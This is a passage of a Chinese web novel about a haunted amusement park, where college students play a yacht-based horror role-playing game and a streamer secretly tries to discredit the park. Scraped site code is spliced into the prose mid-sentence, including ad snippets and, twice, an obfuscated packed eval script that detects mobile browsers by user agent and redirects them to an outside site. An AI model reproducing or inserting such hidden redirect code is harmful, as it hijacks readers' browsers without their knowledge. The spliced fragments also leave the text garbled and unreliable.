小仓伸出手,她指着的地方正躺着一只瘫倒的鸭子,准确的说,是一条公园里常见的、需要人用脚踩动的、黄色鸭子形状的观光船。 郝荨很是惊诧:“是啊!” 还是她特意从废弃公园里花二十块买来的呢! 废了老鼻子劲才拖到这里!差点没累死她! 小仓开始深切怀疑自己是不是脑子进水,居然信了她的邪,什么直升餐饮部主管,什么想干什么就干什么,这人真是什么饼都画得出口! 见她面色不对,郝荨立刻转换口风:“唉,我也想给你买游轮,但游轮实在太贵了!创业初期只能艰苦一下大家了,你看,我这个园长还在吃泡面呢!你放心,只要赚到足够的钱,我立马给你升级工作环境,绝对不犹豫!” 她眼神期待:“你这么厉害,是掌管幻境的神,应该可以把这艘船变成豪华游轮的哦?” 小仓:…… “我不行,”她果断拒绝,“先不说制造幻境需要时间,你最起码也得有空间让我制造吧?就这种‘船’,站三个人都可能会翻,要怎么容纳八个人在上面跑跑跳跳?” 郝荨皱眉,副本里小仓用的船是大型游轮,她肯定是买不起的,如果说要能容纳八个人的自由空间,最起码也得是个中型游艇,中型游艇的价格…… 要不她还是换一个副本核心吧! 小仓隐约察觉到自己有退货危机,这怎么行! 刚来就被退货,她不要面子的吗?! “要是你能搞条船来,我就送你一个礼物。” 郝荨眼睛亮起,居然有意外之喜。 有奖励才有动力,她立刻发动自己以往兼职陪玩积攒的少爷小姐人脉,搞到了一条报废的三层中型游艇,除了不能开和不好看以外没有任何硬件问题。游艇的年纪比她的年纪还大,因为缺少维护和保养,看上去很像会发生什么灵异事件。 不过问题不大,再灵异还能比她这个游乐园灵异吗? 游艇到位的瞬间,游乐园地图中的湖面区域终于亮起: 【游乐项目:鱼人节盛宴】 【项目类型:角色扮演类大逃杀】 【人数要求:1-7】 【难度等级:D】 【检测到玩家已拥有副本专属NPC“小仓”,自动开启餐饮服务,菜单自动生成中——】 【菜单已生成。】 郝荨将项目放置在游艇上,不知道是不是她眼花,仿佛有什么巨大的黑影在湖底游过,转眼间那道黑影又沉入水底消失不见。 小仓在船上捣鼓了一会儿,很快,那艘游艇就好像换了条船,熟悉的鱼人节欢庆装饰挂满船身,八爪鱼气球和贴画随处可见,船尾,一艘毫不起眼的救生艇挂在那里。 郝荨把新买的露营桌椅放在岸边,抹了把汗,游艇自动延伸出天桥和露台与桌椅衔接,餐饮区也布置好了。 看着漂亮的新区域,又看看重新变回三位数的资金栏,唉,她“砰”的一声把头埋在桌子上,半晌都起不来。 到底为什么? 明明辛辛苦苦过了一个副本,什么都没得到,钱还变少了! “对了,礼物呢?!” 她理直气壮地伸出手,小仓“啧”了一声,从虚空中吃力拽出一点星光。 中途她还和星光拔了会河,等星光飞到郝荨身上时,她已经满头大汗。 “你还好吗?” 小仓摇摇头:“我要休息一会儿。” 郝荨点开刚刚获得的奖励: 【你获得了事件“神秘数字”】 【事件:神秘数字】 【描述:2187567,你将发生一场与这串数字有关的事件,是福?是祸?或许只和园长的运气有关。】 这是什么? 郝荨皱起眉,电话?密码?还是什么别的东西? “嗡……嗡……” 手机忽然震动,她拿起一瞧,是小余。 说来也巧,“兔子之家”结束后,小余本来想加她的好友,但因为她的代号是假的没加上,本来他都放弃了,却意外在朋友圈里发现有人在狂吹山海市郊区的迷雾乐园,还和“兔子之家”里的NPC合照,他一看,那不是蒋红和蓉蓉他们吗?! 这乐园有鬼! 他立刻就关注了迷雾乐园的官方账号,进而找到了郝荨,一聊,发现两人竟然还是校友,余逸,也就是小余是山海大学的大一生,她的学弟。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 接电话前她下意识扫了一眼余逸的电话号码,幸好不是神秘数字。 “喂?” “荨姐!” 余逸正要继续说话,一个男声突然大喊: “老余!你不会准备把我们卖到山里噶腰子吧!我告诉你,低于五万块可不行!” 另一个女声大笑道:“你要五万?那我要五十万!” “五百万!” “我五千万!” 那头吵吵闹闹的,余逸不得不扯着嗓子叫道:“荨姐,我们都到游乐园了!从哪进啊?” 这位学弟还没被社会荼毒,清澈又淳朴,郝荨宣传乐园时病急乱投医,给所有账号好友都发了链接,在一众“?”和“你是不是被盗号了?”的答复中,只有余逸不止关注点赞转发一条龙,昨天还打电话给她说要带桌游社的同学们一起来玩。 “荨姐?荨姐你听得清吗?!” 郝荨连忙说:“听得清,你们直接从大门进来吧,我们在宿舍楼这等你们。” 不一会儿,一群人在宿舍楼下碰了头。。 郝荨点了点人头,六男四女,正好十个人。 余逸长得比游戏里那张平均脸好看多了,眼睛是圆润的狗狗眼,加上他那头乱糟糟的卷毛,活像是一只卷毛大狗。 余逸向大家介绍道:“这是我们山海大学的学姐,人家可厉害了,一毕业就开了这家游乐园!” 一个戴眼镜刘海微长的男生突然开口:“前几天这里是不是发现了一具尸体?” 此话一出,场面瞬间安静下来。 余逸愣住,郝荨笑了笑道:“是啊。” 似乎没想到她竟然就这么承认,那个男生顿了顿,正要开口,却被郝荨打断道:“要不是发生了这种事,这么大片地方也轮不到我来开游乐园呀。” “哇!”一个穿着牛仔背带裤头戴画家帽的女孩满脸惊叹:“学姐你胆子也太大了!” 场面再次活络起来,有着长长刘海的眼镜男却再次发问: “那你要怎么保证游客安全呢?” 郝荨挑起眉,看向他,这个男生看起来比其他学生年纪要大上几岁,穿着最普通不过的大T恤和长裤,鞋子倒是挺贵,是个很有名的运动品牌,他背了个黑色的背包,见她望过来也不闪不避,一副理直气壮的模样。 “我们要是在这出事怎么办?谁来负责?” “乐园自然是有保障的。” 这可不是在说大话,她现在是乐园的容器,只要在迷雾乐园的范围内,她拥有绝对的掌控权。 “况且那件案子还没定论,现场没有第二人在场的痕迹,那具尸体有很大可能是自杀。” 郝荨念着官/方公开的情报,脸上带着笑,心里却很疑惑,她的痕迹被完完全全抹除,是系统做的吗?可那个杀她的刀疤男又是怎么死的? “当然啦,你们要是害怕我也能理解,想回去的可以自行回去哦。” 说完,郝荨就退到一边,给他们空间自行讨论。 余逸几步跑了过来,挠挠头道:“荨姐,不好意思啊,我不知道王明是这样的人。” “没关系,大家都是校友嘛。” “校友?不是吧……”余逸一懵,“他好像不是我们学校的。” “啊?那他是谁?” 余逸摇头:“他说他也是来玩的,我们就一起进来了。” 郝荨望向那边,果然大家三三两两站在一起聊天,只有那个叫王明的长刘海一个人独自站在角落,他时不时地拉拉背包带子,背过身去不知道在打量着什么。 “我们想好了。”带着画家帽的女孩朗声道,“来都来了,还是玩一把再走吧!” 郝荨有些惊讶,她做好了这群大学生打道回府的准备,却没想到他们比她想象的要大胆许多。 “好啊,那就——” 一股狂风适时刮过,把栅栏上的牌子刮得嘎吱作响。 “欢迎大家来到迷雾游乐园。” 26. 好戏开场 “咱们游乐园刚开,现在只有两个游乐项目和一家餐厅,接下来我将为大家介绍一下——” 郝荨摊开手,指向身后的宿舍楼。 “三楼是我们的F级副本【兔子之家】,沉浸式海龟汤,游玩时间约四十五分钟,人数上限为五人,故事背景是上世纪九十年代的筒子楼里,发生在‘温馨幸福’的一家人身上的故事,而湖面上则是我们新开的项目。” 说着,她带着大家绕过破旧的宿舍楼,宿舍楼离湖边有一段距离,远远望去,湖边波光粼粼,漂亮极了,而更漂亮的,则是停在岸边的那艘白色豪华游艇。 “学姐……那游艇也是游乐园的吗?”带着画家帽的背带裤女孩叫做赵可心,她双眼直勾勾地看着那艘游艇,连声音都有些飘忽。 “是呀。”郝荨笑了起来,“那是我们的新项目,D级副本【鱼人节盛宴】。” “我要玩那个!” 赵可心身形有些圆润,她捧着脸尖叫道:“游艇!恩宝!我们一起玩游艇好不好!” 被称作恩宝的郑恩宝被拉着打了个趔趄,她面色不太好,顶着大大的渔夫帽,很是瘦弱,她轻轻开口:“我都可以。” 这么说着,她脸上却不见半分高兴神色,而是伸手把宽大的帽檐又往下压了压。 “……哪来的游艇?渔船改造的吧……”王明嘟囔了一句,侧身按住背包带子。 “荨姐,你是富婆啊!”余逸顶着那头卷毛凑过来,小声感叹。 “嘘——”郝荨使了个眼色,“低调,低调。” 她继续介绍道:“【鱼人节盛宴】人数上限七人,游玩时间约为6-8小时,游戏类型是角色扮演类大逃杀,恐怖程度和难度都比【兔子之家】要高,当然,氛围效果也比【兔子之家】要好,大家可以按自己的胆大程度来选择项目哦。” “我我我我!我和恩宝一起玩【鱼人节盛宴】,还有谁要一起?”赵可心举手发问。 郝荨拱了一下余逸:“你也去吧,【兔子之家】你不是玩过了吗?” “哦!”他立刻举手,“那我也去【鱼人节盛宴】!” 这群大学生都是山海大学桌游社团的同学,经常一起玩游戏,很快就把队伍给分好了,只是到王明的时候起了些许纷争。 “我只去盛宴。” 王明斟酌了一会儿才选好,可这时七人本的盛宴已经满员,他怎么都不肯退让,余逸见不得大家尴尬,主动提出自己可以下次再玩,把名额让给了王明。 让大家签完确认事项同意书后,这十个人就此分开,一对情侣选择了【兔子之家】,郝荨把他们送到三楼后,便带着剩下的人来到湖边: “现在还有最后退出的机会哦,我们的第一批玩家里就有一个嘴硬晕倒的,还吐在我们楼梯上了,如果大家在游戏中感到不适,可以对着任意方向比出终止手势,我们的工作人员会把大家带出来休息。” “放心吧园长!”赵可心手搭在郑恩宝肩头,“我们玩过好几个重恐类的逃生游戏了,就算是恩宝胆子也很大的,是吧?” 郑恩宝点点头,她虽然看起来身体不太好,但眼神却很镇定,并不害怕。 郝荨微微点头:“那么,恭喜大家选中D级副本【鱼人节盛宴】,今天,各位贵客从天南海北应邀而来,到这片黄金海岸出席一年一度的鱼人节盛宴,请找出来自十五年前的秘密,但比秘密更重要的——成为那个活到最后的人。” 她扯开嘴角:“友情提示:这场游戏里,没有赢家。” 赵可心兴冲冲地走在最前头,她顺着餐厅和游艇衔接的天桥进入船舱,刚一进去,四周突然黑了下来,她心跳一突:“恩宝……?” 周围摸不到人,但好在提示音很快响起: 【请玩家选择身份。】 天花板突兀地掉下来七只动物面具,在半空晃荡,像是七具摇摇晃晃的尸体,赵可心拍拍胸口,吓她一跳。 这七只动物面具上还挂着房卡,卡上大致说明了每个角色的身份,赵可心看了一圈,伸手取下了企鹅面具。 嘿嘿!□□教母我来啦! 这七个人被看不见的空气墙分割开来,明明身处同一空间,却无法感知到彼此,王明喊了两声,没有得到任何回应。 开局就走单线? 他有些狐疑,作为一个经常探店的小主播,他玩过很多恐怖密室,如“寂山高校”和“十三病院”这种非常有名的他也玩过,他自诩也算是个铁坦,区区一个单线还吓不到他。 他看了看四周,这里伸手不见五指,只有面具还带着点亮光,不像是有摄像头的样子。 王明把双肩包的背带松了松,又调整了一下领口,把那里放着的微型麦克风调出来了一些:“喂喂?听得见吗?” 背带的不起眼处,有一个小小的圆点发着绿光。 进入游戏前,这个游乐园的园长要求大家把手机都放在篮子里,好在他早有准备,王明掏出提前准备好的备用机,那上面赫然显示着一个著名直播网站的页面,他熟练点击了几下,很快就进入了属于他自己的直播间,弹幕稀稀疏疏地划过两句“听得见”,一个叫“社会你王哥”的账号进入了他的房间,这是王明的榜二大哥,哪怕对方看不见,他也熟练地露出雀跃表情:“哎哟,王哥来啦? 【王小明,这黑咕隆咚的你又去黑哪家店了?】 “什么叫黑啊,我这叫为水友们揭开那些网红密室背后的真面目好不好!” 王明清了清嗓子介绍道:“大家好,我是专门揭开那些娱乐项目背后秘密的专业主播王小明!” 【大家好,我是傻呗主播王小明~】 几条玩梗的弹幕刷过,王小明毫不在意,他继续道:“今天探秘的这家店可不得了,是一个水友推荐给我的,据说那叫一个字:黑!死!了!你们可别不信,这地方老荒了,离城里得有个小二十公里的车程,周围什么都没有,偏僻的我都怕自己噶在这!” 说着,他点开备用机的相册,把在游乐园里偷偷拍摄到的照片一一翻出怼到背带上的摄像头前。 【我靠,咱们国家还有这种地方?】 【这哪儿啊?还有人在这里开游乐园?】 【前面的,应该说这里真的是游乐园吗?别说小孩了,我看了都做噩梦!】 王明把拍摄到的“杂草看起来有半米高的生锈大门”、“窗户破碎脏到没眼看的发黄被褥”、“空空如也蜘蛛网遍布的破旧洋馆”等照片收起,看着水友们的弹幕满意地点了点头,不枉他特意从AAC抄来的滤镜参数,拍谁谁鬼,鬼看了都摇头。 “这游乐园是新开的,我们好像是第二批玩家,据说……”说到这,他刻意压低了声音,“上一批玩家里有人在这里出了事!” 【出什么事了?细说!我手机有电!】 【这么破的地方还能出事?被老板搞了?】 【那这里怎么还在开?不关停整顿?】 【有后台呗,王小明你胆儿也忒大了,安全要紧,还是回家吧,别播了!】 “社会你王哥”砸了个礼物,一辆豪车特效在页面上炸开: 【别停!我就爱看刺激的!】 王小明眼睛亮起:“谢谢王哥的豪车!水友们放心,我王小明也不是新人主播了,这么点小事还不在话下,你们就瞧好吧!” 说话的这段功夫,挂在面前的面具一个接一个的消失,他来不及细看,随手取了一个给微型摄像头展示后戴在脸上,是只花豹。 “好了好了,我选好了,接下来我再找机会和大家互动,咱们先看看这又偏僻又坑钱的游乐园到底在玩儿啥!” 在提示音的指示下,王明顺着黑暗向前走去,而在上方无法窥探到的区域里,小仓正趴在栏杆上眼睛发光地盯着他,见他和其他人一起走向甲板,她拍了拍脸,很快,一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958743|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一团的蓬松毛发从脸上的毛孔中冒出,只一眨眼的功夫,就变回了那只可可爱爱的奶茶仓鼠。 仓鼠推了推厚如瓶底的眼镜,一只粉粉嫩嫩胖嘟嘟的小八爪鱼顺着她的腿滑到地板上,她伸了个懒腰:“好戏开场啦!” * 赵可心摸黑向前走着来到了甲板上,她先是被乍然亮起的阳光晃了下眼,等眼睛适应后,她忍不住露出了震惊表情—— “……什么鬼?” 岸边不知何时起消失不见,这艘漂亮的白色游艇漂浮在海浪上,四周一望无际,碧蓝的海水下几乎能看到有鱼群在游,咸咸的海风吹拂,带来了一股鲜香的气息。 她震惊回头,船舱里一个接一个地出现有着动物头颅的“人类”,纤细柔顺的动物毛发在风中飘扬着,周围四散着身穿统一服饰的侍应生…… 她是谁? 她在哪? 她穿越了??? 赵可心不由自主地后退两步,撞到了人:“抱歉!” 那人长着一颗小巧可爱的刺猬脑袋,脑袋上顶着熟悉的渔夫帽—— “恩宝?” “可心?”郑恩宝大为惊讶,“这、这怎么做到的?” 她脑袋里一团浆糊,这是现实技术能达到的程度吗? 赵可心试探着伸出手去,想要碰一下对方的尖刺,却什么也没感知到,只见她的手顺畅地伸进刺猬脑袋里,摸到了独属于人类的光滑皮肤,她松了口气:“是全息投影啊,吓死我了……” 她对这个技术不太了解,不过既然不是真的大变活人,那就还能用科学技术来解释,问题不大! “你看,还是得出门见见世面吧!不然我们都要被时代抛弃了!” 郑恩宝勉强笑了笑,她最近因为六级失利情绪不好,什么都吃不下,硬塞下去也会忍不住吐出来,医生说这样下去很危险,有可能会转变成厌食症,建议她多多放松心情,赵可心得知后就一直想办法带她出来玩,她不想好朋友失望,才跟着大家来到这么远的游乐园。 来之前她就做好了失望的心理准备,毕竟是从来没听过的游乐园,还是私人开的,听着就不怎么靠谱,没想到竟然还有这么高级的视觉技术,哪怕游戏不好玩她也认了。 与两人的好心情相反,王明就可以说是很烦躁了,他没想到这游乐园竟然真的有点东西,早知道就不选游艇了! 王明很是懊悔,他选游艇是因为这玩意儿实在是太贵了,正常老板都不会花这个钱搞来玩游戏,他笃定那个年轻园长只是做了个壳,人家拍电影电视剧的不是都会搭个景吗,这搭个船也很容易吧!而且预算就这么多,外面都是面子工程花点钱也很正常,那里面肯定不会再花钱了,里面破破烂烂,再和外壳一对比,看起来肯定会更烂。 不像那个破宿舍楼,再烂也能说是剧情需要。 “咳咳!” 王明使劲咳了几声,装出一副难以呼吸的样子。 “兄弟们,这船上也不知道啥味儿,臭烘烘的!这船这么新,不会是甲醛吧?!主播这可是住在拿生命在给大家探店,给主播点个免费的赞支持一下吧!” 他刚说完,一只可可爱爱的奶茶仓鼠就从他身边奔跑而过,不知有意还是无意,差点没把他撞飞,仓鼠受到惊吓,圆滚滚的眼睛浮现出水光:“对、对不起!尊贵的王子殿下!小仓、小仓不是故意的!请不要投诉小仓!” “我靠……”王明看呆了,见对方要哭,他连忙安慰,“我没事……你叫什么啊?” 仓鼠露出一个腼腆的笑:“我、我叫小仓,是来接待各位贵客参加盛宴的。” 见王明没事,小仓便转身走向主持台。 王明盯着她的背影看了一会儿,他压低声音道:“家人们,没想到啊,单身久了连看只仓鼠都眉清目秀的。” 他自认说得很小声,远处的小仓却突然“呵呵”两声,挑起了眉毛。 27. 这活她熟啊! 小仓简单介绍完故事背景后,便将各位玩家引导到了各自的房间中:“各位贵宾,鱼人节盛宴将在半小时后举行,大家换完衣服后就可以来宴会厅啦!” 还有换装?! 赵可心很是震惊,山海市虽然称不上超一线,但也是有名的大城市,6-8小时的大逃杀原价598不能说很便宜,但也说不上太贵,何况游乐园现在搞活动一律半价,299的价格还附带换装和吃饭,除了太偏僻以外是真的挑不出什么缺点,进入房间后她更是惊讶地合不上嘴,这房间也太奢华了!衣柜里的礼服用的也不是廉价布料,无论是样式还是剪裁都是真正的高级质感。 可能因为她的身份是教母,衣柜里全是黑色套装,她从小就很爱吃,一直说要减肥却从来没减下来过,身形偏圆润,但这套黑色套装却意外合身,看起来霸气十足,更重要的是,皮带扣上还配备了木仓套,这把模型木仓看起来异常真实,她对着镜子比了几个拿木仓的酷炫姿势,满意地点了点头。 茶几上放着一台平板,她点开后发现了自己和其他角色的基本资料,仔细阅读了一番后她和其他人一起来到了宴会厅入座。 “好香……” 听到对面扮演小吉少爷的男生感叹,赵可心先是在内心认同地点了点头,然后突然想起什么,转头望向坐在隔壁的郑恩宝,眼神担心。 “你还好吗?” 郑恩宝摇摇头,满头的尖刺没有炸开,软软地趴在脑后,这味道闻起来有些奇怪,但至少还没有想吐的感觉。 王明打量着四周,这宴会厅看起来很是奢华,偌大的空间内除了长桌外还有一个小舞台,拉着幕布,不知道里面是什么,他皱起眉毛,看起来不妙啊…… 手机轻微震动了一下,他趁着大家在互相交流各自的身份,偷偷拿出看了一眼,是一条备注为“榜一大哥”发来的短信: ——【不想要尾款了?】 王明顾不上会不会被人发现,连忙打字道: 【别急啊哥!这才刚开始,您等着看吧,我指定能行!】 ——【嗯。】 ——【你放心,只要事情办好,五十万我一分都不会少你的。】 “铛铛——” 钢琴声响起,小仓来到舞台前,双手放在胸口攥紧,似乎有些紧张: “各位贵宾已经到齐,那么,接下来我们的鱼人节盛宴就此开启!请欣赏舞台剧表演——《鱼人节的诞生》!” 幕布拉开,故事从七位意外遇到雷暴的海上游人开始讲起,装满新鲜蔬果的餐盘被侍应生放到桌上,玩家们逐渐忘却了自己的姓名,沉浸到了故事中,而在宴会厅的窗外,天空渐渐黑了下来,厚重的乌云一片片遮蔽住了太阳,雷暴将至。 * “荨姐……” 岸边,郝荨靠坐在白色的露营椅上,舒适地吹着风,她递过去一罐可乐:“怎么了?” 余逸有点不好意思接,郝荨强行塞给他:“也就这一罐,再多没了,这是我请客的极限了。” 她可不是在装穷,到现在她口袋里还一分钱都没有,全在游乐园账上,就这两罐可乐还是从餐厅后厨里抠出来的! “好吧。” 余逸小心翼翼接过易拉罐,跟开手榴弹似的一点点提起拉环。 郝荨疑惑:“怎么了?” “啊,没事没事——砰!” 一股不知道哪来的气猛地顶开拉环,呲了他一脸。 郝荨:! 她迷惑地看了眼手中安安静静的易拉罐,又看了眼余逸那罐,两罐明明是一起从冰柜拿出来的,也没有摇晃,怎么他这罐会爆炸?! 余逸熟练地从裤兜里掏出湿纸巾,擦完脸后又顺手把溅到桌上的也擦干净,他完全没有在意这件事,而是把头探过来,那头棕色卷毛在空气中弹了弹,做贼似的暗戳戳问:“荨姐,你接活吗?” “什么活?” “就是……”他四下看了看,确认周围不会突然窜出什么人后才继续说,“就是那个活啊!迷雾游戏!” 见郝荨还是没听懂,余逸干脆直白道:“就是你能不能带我下本啊!” 陪玩?这活她熟啊! 不过这是迷雾游戏…… “我带不了。” “啊?”余逸一脸茫然,他忽然想起什么,正色道,“不是要学姐免费带我,酬劳我准备好了!” 酬劳? “多少钱?” 郝荨发誓,她绝对不是见钱眼开,只是合理了解市场行情! “我打听过了,F级副本组队的话一万起,包活命的话得十万,我没那么多钱,所以组队就行了。” 他点开自己的银行卡余额给郝荨看,上面有一万两千多块。 “这是我之前当家教兼职赚的,本来还想用来买电脑,不过都进游戏了,肯定还是命更重要。” 余逸很坦然,他进了两场游戏,虽然都撞大运抱队友大腿通关了,可获得的道具都没什么大用,看起来也不是天选主角命,都说事不过三,他也不敢赌自己下一场还有好心队友,倒不如先把钱拿出来过了第三场游戏再说。 “唉……” 郝荨重重叹了口气,一万块呢! “我也不想骗你,这活我是真的想接,也是真的不能接。” “为什么啊?” “我只是普通人呀,”郝荨珍惜地抿了口可乐,“何况,我过本的方式和一般玩家不太一样,要更危险,你还是趁早找其他大佬带吧。” 余逸丧气地往桌上一趴:“来不及了,明天就是进本的最后期限了。” “荨姐,真的不行吗?我觉得你很厉害啊!” 他睁大那双圆圆的狗狗眼,从下往上看向郝荨:“而且这场游戏很特别,是我从新手场的BOSS身上得到的邀请函。” “邀请函?邀请函是什么?” 神使解释道: 【迷雾游戏分为普通副本和特殊副本,特殊副本需要有邀请函才能打开,这类副本的实际难度通常比普通副本高,有时甚至可能会高两个等阶,相对应的,奖励也会更丰厚哦,亲亲,这边建议玩家接下这份委托呢。】 郝荨想了想,其实哪怕她一分不拿也算赚,相当于蹭了学弟邀请函白得一个奖励,而她要承担的只是进入特殊副本的风险,但即便不进这个本,她也总还是要进下个本,没什么区别。 “这样吧,钱你先自己收着,如果我们能顺利通关你再给我。” “真的吗?!”余逸连连点头,“那我们就明天迷雾大厅见——” “啊啊啊啊啊啊啊——!” 尖叫声乍然划破天际,几人下意识看向发出声音的游艇。 “哇!” 余逸忍不住发出感叹:“他们见鬼啦?” 郝荨点开游艇地图,七个代表玩家的Q版小人齐齐聚在冷库,每个人的头顶都顶着一个“惊吓”图标,而在地图右上角显示着一行字: 【一轮审判中——】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968201|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她恍然,看来,第一个“罪人”要出现了。 果不其然,没过几分钟,一个摇摇晃晃的女生从游艇里走了出来,她捂着肚子,感觉还不是很清醒。 “你还好吗?”郝荨向她招招手。 这个女生有些迟钝地看了看园长,忽然看向自己的肚子,良久才放松下来:“学姐,吓死我了!我真以为肚子要爆炸了!” “都是特效而已,你还好好的呢!” 郝荨有些好奇:“你玩的什么角色?” 女生原地转了个圈,拽着虚空裙摆屈膝行礼:“动物王国最珍贵的明珠——驼驼小姐!” “驼驼小姐居然第一个被投出来了?”郝荨有些幸灾乐祸,“那他们可惨了,后面可不好盘。” 这场游戏的主线是存活,副线则需要还原先前发生的故事,驼驼小姐拥有小仓姐姐的心脏,如果能活到后期可以在恰当的时候对小仓进行感化或威胁,拖延一下BOSS伤害,却没想到他们竟然第一个把这个角色给投了。 正在进行游戏的其他玩家还不知道这件事,冷库安静的仿佛针掉在地上都能听得清清楚楚,所有人都懵了。 “小如……小如爆炸了?” 赵可心浑身颤抖,抱紧郑恩宝,连说话声音都不敢放大。 郑恩宝倒是比她淡定一点,她纠正道:“是驼驼小姐被审判了。” 赵可心嗫嚅两下,没敢把心底的怀疑说出口。 “你们怎么回事?怎么会投驼驼?!” 顶着天鹅院长脑袋的男生头皮都炸了,他的线索和驼驼有关,还没来得及和她私聊呢人就没了,他线索直接断了! 另外两个男生隐晦地看了王明一眼,可王明现在没工夫理他们,他还沉浸在刚刚那一幕久久不能回神。 投完票后没多久,驼驼就说要上厕所,单独一人离开了宴会厅,可左等右等怎么都没等到她回来,两个女生在厕所也没找到人,找遍了整艘游艇才在冷库里发现她,她跟着了魔似的生啃肉块,无论如何叫她都不回话。 王明因为想看看肉块是不是真的新鲜,站得离冷柜最近,刚开始时他还在心底冷笑,也不知道这游乐园园长给了多少钱,才让这个大学生答应演这么一出,他刚想拆穿她的戏码,一回头却硬生生被定在了原地。 玻璃柜门上竟然有个穿着红色裙子的小女孩! 王明当时冷汗就下来了,但他毕竟去过很多恐怖鬼屋和密室,知道一些常见机关的用法,或许是那种特殊角度才能看到的照片,正想着,小女孩像是知道他在想什么一般慢慢转过头来,乌黑的眼珠冷冰冰地望着他。 “有人!” 他忙指着柜门大叫,其他人都被他吓了一跳。 “没有啊?哪有人?” “你看错了吧?” “别一惊一乍的,”天鹅院长怀疑的视线投来,“你不会是游乐园的托吧?” 王明不可置信,托? 他是托?! “不会吧……” “说不定哦,不然他当时为什么说要加入我们?” 他们七嘴八舌说着,越说越怀疑,王明根本插不进嘴。 他回过头,小女孩依然在看着他,女孩扯开嘴巴轻轻动了动,露出一个天真又诡异的笑。 “不是,你们看啊!那个小女孩就在那!” 就在这时,驼驼小姐忽然大喊了一句:“救命——” “砰!” 驼驼小姐…爆炸了。 28. 这真的是游戏吗? 驼驼小姐就这样在大家眼前爆炸了,黑色的液体溅到天花板上,随后又像是雨水般滴落在大家身上,王明离得最近,粘稠的液体从他脸上身上缓缓滑落,像是无数虫子在爬。 小女孩伸出手指了指他,仿佛在说“下一个到你了”。 这真的是科技能达到的程度吗?! 会不会……他们其实真的穿越了? 他随便找了个借口冲进隔壁,掏出手机问:“家、家人们,你们、你们看到刚刚发生的那幕了吗?” 牙齿止不住地打颤,手机上的弹幕比起入园时明显多了很多,密密麻麻的弹幕在飞快滚动,他火了? 王明来不及高兴,就看见弹幕上密密麻麻的抱怨: 【卡卡卡卡卡!好卡!】 【原来大家都卡了,我还以为就我一个人卡。】 【主播换个网吧,都卡黑屏了!】 王明视线有些涣散,他勉强集中注意力,望向摄像头的信号图标……是满格。 “那,那个小女孩呢?你们也没看见?” 【小女孩!哪里有小女孩!】 【主播胡扯啥呢?刚刚不是还在巡视冷库吗?】 【举报了,主播钓鱼!】 没看到…… 他们没看到! 莫非只有他一个人看见了那个小女孩?! 不,不能自己吓自己,这肯定是园长特意调整过的,只有他那个角度能看见! 王明安慰自己,但他心底有个小小的声音在问,小女孩可以解释,活人在眼前爆炸消失要怎么解释? 房门没有关好,王明狠狠搓了两把脸,没有注意到上方的天花板睁开了一只眼睛。 * 神使躺在郝荨头顶晒太阳,圆滚滚的眼珠一呼一吸,仿佛真的有生命似的,忽然,阵阵红光从它身体里扩散而出: 【警告!有游客惊吓值濒临警戒线,请园长多加注意!】 郝荨刚把通关【兔子之家】副本的那对情侣带到岸边,就听到了这道警告声,是那个叫王明的奇怪玩家,她确认了一下对方没有要终止的意思,小仓也说对方正乐在其中,便没有太在意。 那对情侣和叫小如的女孩坐在一起,炽热的阳光驱散了恐惧,三人叽叽喳喳地讨论着各自玩的项目,郝荨给他们倒上水,顺手把菜单递给他们,热情推销道: “这是我们‘鱼人餐厅’的菜单,开业大酬宾全场88折哦!” 小如下意识捂住肚子,接着才反应过来自己已经从游戏里下线,并不会真的撑到爆炸,倒不如说,她现在饿得要命,之前纯靠兴奋激发的肾上腺素撑着,这会儿放松下来,肚子简直叫得震天响。 她接过菜单,先点了一杯“噗噗捏捏好喝到八爪夫人流泪奶茶”,不一会儿,奶茶就被园长送了上来。 “……这是奶茶?” 小如刚一打眼就被颜色震了一下,不同于正常奶茶应该有的浅棕色,这杯被称作“奶茶”的液体从下往上分别呈现深蓝——碧蓝——浅蓝,像是深海,插在被子里的吸管忽然动了一下。 她吓了一跳,视线却无法移开,“深海”中一只粉色的八爪鱼慢慢浮现,顺着吸管爬上,最后瘫在了杯壁上,两条触须像是手臂一样分别摊在杯沿,八爪鱼的眼睛处忽然有蓝色液体流下,八爪鱼的身体颤抖着,随着液体流失,它渐渐干瘪下去。 “……八爪夫人哭到脱水了?” 那对情侣中的女孩震惊到失语,小如又看了一眼菜单价格,十八块,打完折十五块多,十五块钱居然能买到这么花哨的饮料! “尝尝看好喝吗?” 郝荨站在一旁询问,这家餐厅的菜单是自带的,不知道是系统设置的还是小仓自己设置的。 小如颤颤巍巍地端起奶茶,有些下不去口,无论是它的颜色还是那只堪称诡异的八爪鱼效果,怎么看都不像是普通奶茶,可肚子还在咕噜噜叫,一旁还有学姐期待的目光,她一狠心,闭眼猛吸了一口,随后,她忽然睁大了双眼。 “好好喝!” 这和她想象中完全不一样!奶茶口感鲜美醇厚,中间还夹杂着清爽的咸薄荷味,像是大海的气息,这股清新的气息中和了奶茶本身的甜腻,好喝极了! 她戳了一下“八爪夫人”的身体,八爪鱼摇晃着,竟然是果冻! 见她说好喝,那对情侣也迫不及待地点了同样的奶茶,订单被系统直接传输进了游艇厨房,这间厨房大门紧锁,和游戏场所分隔开,只有一个小窗口面向岸边,方便人取餐,哪怕是有人眯着眼向内看也看不清里面的模样。 